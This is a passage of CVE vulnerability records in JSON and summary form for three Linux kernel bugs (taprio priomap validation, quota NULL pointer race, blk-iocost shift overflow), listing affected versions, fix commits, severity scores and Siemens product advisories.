              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_taprio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: taprio: always validate TCA_TAPRIO_ATTR_PRIOMAP\n\nIf one TCA_TAPRIO_ATTR_PRIOMAP attribute has been provided,\ntaprio_parse_mqprio_opt() must validate it, or userspace\ncan inject arbitrary data to the kernel, the second time\ntaprio_change() is called.\n\nFirst call (with valid attributes) sets dev-\u003enum_tc\nto a non zero value.\n\nSecond call (with arbitrary mqprio attributes)\nreturns early from taprio_parse_mqprio_opt()\nand bad things can happen."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:18:12.818Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c6041e7124464ce7e896ee3f912897ce88a0c4ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/6db4af09987cc5d5f0136bd46148b0e0460dae5b"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3dde4c217f0c31ab0621912e682b57e677dd923"
        },
        {
          "url": "https://git.kernel.org/stable/c/0bf6cc96612bd396048f57d63f1ad454a846e39c"
        },
        {
          "url": "https://git.kernel.org/stable/c/724050ae4b76e4fae05a923cb54101d792cf4404"
        },
        {
          "url": "https://git.kernel.org/stable/c/c37a27a35eadb59286c9092c49c241270c802ae2"
        },
        {
          "url": "https://git.kernel.org/stable/c/f921a58ae20852d188f70842431ce6519c4fdc36"
        }
      ],
      "title": "net/sched: taprio: always validate TCA_TAPRIO_ATTR_PRIOMAP",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36974",
    "datePublished": "2024-06-18T19:15:07.892Z",
    "dateReserved": "2024-05-30T15:25:07.082Z",
    "dateUpdated": "2026-05-12T11:54:21.811Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26878 (GCVE-0-2024-26878)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

quota: Fix potential NULL pointer dereference

Summary

In the Linux kernel, the following vulnerability has been resolved: quota: Fix potential NULL pointer dereference Below race may cause NULL pointer dereference P1 P2 dquot_free_inode quota_off drop_dquot_ref remove_dquot_ref dquots = i_dquot(inode) dquots = i_dquot(inode) srcu_read_lock dquots[cnt]) != NULL (1) dquots[type] = NULL (2) spin_lock(&dquots[cnt]->dq_dqb_lock) (3) .... If dquot_free_inode(or other routines) checks inode's quota pointers (1) before quota_off sets it to NULL(2) and use it (3) after that, NULL pointer dereference will be triggered. So let's fix it by using a temporary pointer to avoid this issue.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/8514899c1a4edf802…
https://git.kernel.org/stable/c/49669f8e7eb053f91…
https://git.kernel.org/stable/c/61380537aa6dd32d8…
https://git.kernel.org/stable/c/1ca72a3de915f8723…
https://git.kernel.org/stable/c/7f9e833fc0f9b47be…
https://git.kernel.org/stable/c/40a673b4b07efd6f7…
https://git.kernel.org/stable/c/f2649d98aa9ca8623…
https://git.kernel.org/stable/c/6afc9f4434fa8063a…
https://git.kernel.org/stable/c/d0aa72604fbd80c8a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < 8514899c1a4edf802f03c408db901063aa3f05a1 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < 49669f8e7eb053f91d239df7b1bfb4500255a9d0 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < 61380537aa6dd32d8a723d98b8f1bd1b11d8fee0 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < 1ca72a3de915f87232c9a4cb9bebbd3af8ed3e25 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < 7f9e833fc0f9b47be503af012eb5903086939754 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < 40a673b4b07efd6f74ff3ab60f38b26aa91ee5d5 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < f2649d98aa9ca8623149b3cb8df00c944f5655c7 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < 6afc9f4434fa8063aa768c2bf5bf98583aee0877 (git) Affected: 7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac , < d0aa72604fbd80c8aabb46eda00535ed35570f1f (git)
Linux	Linux	Affected: 4.14 Unaffected: 0 , < 4.14 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:04.234Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8514899c1a4edf802f03c408db901063aa3f05a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/49669f8e7eb053f91d239df7b1bfb4500255a9d0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/61380537aa6dd32d8a723d98b8f1bd1b11d8fee0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1ca72a3de915f87232c9a4cb9bebbd3af8ed3e25"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7f9e833fc0f9b47be503af012eb5903086939754"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/40a673b4b07efd6f74ff3ab60f38b26aa91ee5d5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f2649d98aa9ca8623149b3cb8df00c944f5655c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6afc9f4434fa8063aa768c2bf5bf98583aee0877"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d0aa72604fbd80c8aabb46eda00535ed35570f1f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26878",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:48:25.754517Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:25.716Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:56.835Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/quota/dquot.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8514899c1a4edf802f03c408db901063aa3f05a1",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "49669f8e7eb053f91d239df7b1bfb4500255a9d0",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "61380537aa6dd32d8a723d98b8f1bd1b11d8fee0",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "1ca72a3de915f87232c9a4cb9bebbd3af8ed3e25",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "7f9e833fc0f9b47be503af012eb5903086939754",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "40a673b4b07efd6f74ff3ab60f38b26aa91ee5d5",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "f2649d98aa9ca8623149b3cb8df00c944f5655c7",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "6afc9f4434fa8063aa768c2bf5bf98583aee0877",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            },
            {
              "lessThan": "d0aa72604fbd80c8aabb46eda00535ed35570f1f",
              "status": "affected",
              "version": "7b9ca4c61bc278b771fb57d6290a31ab1fc7fdac",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/quota/dquot.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.14"
            },
            {
              "lessThan": "4.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nquota: Fix potential NULL pointer dereference\n\nBelow race may cause NULL pointer dereference\n\nP1\t\t\t\t\tP2\ndquot_free_inode\t\t\tquota_off\n\t\t\t\t\t  drop_dquot_ref\n\t\t\t\t\t   remove_dquot_ref\n\t\t\t\t\t   dquots = i_dquot(inode)\n  dquots = i_dquot(inode)\n  srcu_read_lock\n  dquots[cnt]) != NULL (1)\n\t\t\t\t\t     dquots[type] = NULL (2)\n  spin_lock(\u0026dquots[cnt]-\u003edq_dqb_lock) (3)\n   ....\n\nIf dquot_free_inode(or other routines) checks inode\u0027s quota pointers (1)\nbefore quota_off sets it to NULL(2) and use it (3) after that, NULL pointer\ndereference will be triggered.\n\nSo let\u0027s fix it by using a temporary pointer to avoid this issue."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:00.874Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8514899c1a4edf802f03c408db901063aa3f05a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/49669f8e7eb053f91d239df7b1bfb4500255a9d0"
        },
        {
          "url": "https://git.kernel.org/stable/c/61380537aa6dd32d8a723d98b8f1bd1b11d8fee0"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ca72a3de915f87232c9a4cb9bebbd3af8ed3e25"
        },
        {
          "url": "https://git.kernel.org/stable/c/7f9e833fc0f9b47be503af012eb5903086939754"
        },
        {
          "url": "https://git.kernel.org/stable/c/40a673b4b07efd6f74ff3ab60f38b26aa91ee5d5"
        },
        {
          "url": "https://git.kernel.org/stable/c/f2649d98aa9ca8623149b3cb8df00c944f5655c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/6afc9f4434fa8063aa768c2bf5bf98583aee0877"
        },
        {
          "url": "https://git.kernel.org/stable/c/d0aa72604fbd80c8aabb46eda00535ed35570f1f"
        }
      ],
      "title": "quota: Fix potential NULL pointer dereference",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26878",
    "datePublished": "2024-04-17T10:27:35.838Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:49:56.835Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36916 (GCVE-0-2024-36916)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:54

Title

blk-iocost: avoid out of bounds shift

Summary

In the Linux kernel, the following vulnerability has been resolved: blk-iocost: avoid out of bounds shift UBSAN catches undefined behavior in blk-iocost, where sometimes iocg->delay is shifted right by a number that is too large, resulting in undefined behavior on some architectures. [ 186.556576] ------------[ cut here ]------------ UBSAN: shift-out-of-bounds in block/blk-iocost.c:1366:23 shift exponent 64 is too large for 64-bit type 'u64' (aka 'unsigned long long') CPU: 16 PID: 0 Comm: swapper/16 Tainted: G S E N 6.9.0-0_fbk700_debug_rc2_kbuilder_0_gc85af715cac0 #1 Hardware name: Quanta Twin Lakes MP/Twin Lakes Passive MP, BIOS F09_3A23 12/08/2020 Call Trace: <IRQ> dump_stack_lvl+0x8f/0xe0 __ubsan_handle_shift_out_of_bounds+0x22c/0x280 iocg_kick_delay+0x30b/0x310 ioc_timer_fn+0x2fb/0x1f80 __run_timer_base+0x1b6/0x250 ... Avoid that undefined behavior by simply taking the "delay = 0" branch if the shift is too large. I am not sure what the symptoms of an undefined value delay will be, but I suspect it could be more than a little annoying to debug.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/62accf6c1d7b43375…
https://git.kernel.org/stable/c/844fc023e9f14a4fb…
https://git.kernel.org/stable/c/f6add0a6f78dc6360…
https://git.kernel.org/stable/c/ce0e99cae00e31318…
https://git.kernel.org/stable/c/488dc6808cb836968…
https://git.kernel.org/stable/c/beaa51b36012fad5a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5160a5a53c0c4ae3708959d9465ea43ad5d90542 , < 62accf6c1d7b433752cb3591bba8967b7a801ad5 (git) Affected: 5160a5a53c0c4ae3708959d9465ea43ad5d90542 , < 844fc023e9f14a4fb1de5ae1eaefafd6d69c5fa1 (git) Affected: 5160a5a53c0c4ae3708959d9465ea43ad5d90542 , < f6add0a6f78dc6360b822ca4b6f9f2f14174c8ca (git) Affected: 5160a5a53c0c4ae3708959d9465ea43ad5d90542 , < ce0e99cae00e3131872936713b7f55eefd53ab86 (git) Affected: 5160a5a53c0c4ae3708959d9465ea43ad5d90542 , < 488dc6808cb8369685f18cee81e88e7052ac153b (git) Affected: 5160a5a53c0c4ae3708959d9465ea43ad5d90542 , < beaa51b36012fad5a4d3c18b88a617aea7a9b96d (git)
Linux	Linux	Affected: 5.10 Unaffected: 0 , < 5.10 (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 6.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "LOW",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-36916",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-12T19:19:24.548838Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-04T20:36:10.637Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-09-05T08:03:32.685Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/62accf6c1d7b433752cb3591bba8967b7a801ad5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/844fc023e9f14a4fb1de5ae1eaefafd6d69c5fa1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f6add0a6f78dc6360b822ca4b6f9f2f14174c8ca"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ce0e99cae00e3131872936713b7f55eefd53ab86"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/488dc6808cb8369685f18cee81e88e7052ac153b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/beaa51b36012fad5a4d3c18b88a617aea7a9b96d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20240905-0006/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:15.519Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/blk-iocost.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "62accf6c1d7b433752cb3591bba8967b7a801ad5",
              "status": "affected",
              "version": "5160a5a53c0c4ae3708959d9465ea43ad5d90542",
              "versionType": "git"
            },
            {
              "lessThan": "844fc023e9f14a4fb1de5ae1eaefafd6d69c5fa1",
              "status": "affected",
              "version": "5160a5a53c0c4ae3708959d9465ea43ad5d90542",
              "versionType": "git"
            },
            {
              "lessThan": "f6add0a6f78dc6360b822ca4b6f9f2f14174c8ca",
              "status": "affected",
              "version": "5160a5a53c0c4ae3708959d9465ea43ad5d90542",
              "versionType": "git"
            },
            {
              "lessThan": "ce0e99cae00e3131872936713b7f55eefd53ab86",
              "status": "affected",
              "version": "5160a5a53c0c4ae3708959d9465ea43ad5d90542",
              "versionType": "git"
            },
            {
              "lessThan": "488dc6808cb8369685f18cee81e88e7052ac153b",
              "status": "affected",
              "version": "5160a5a53c0c4ae3708959d9465ea43ad5d90542",
              "versionType": "git"
            },
            {
              "lessThan": "beaa51b36012fad5a4d3c18b88a617aea7a9b96d",
              "status": "affected",
              "version": "5160a5a53c0c4ae3708959d9465ea43ad5d90542",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/blk-iocost.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.10"
            },
            {
              "lessThan": "5.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
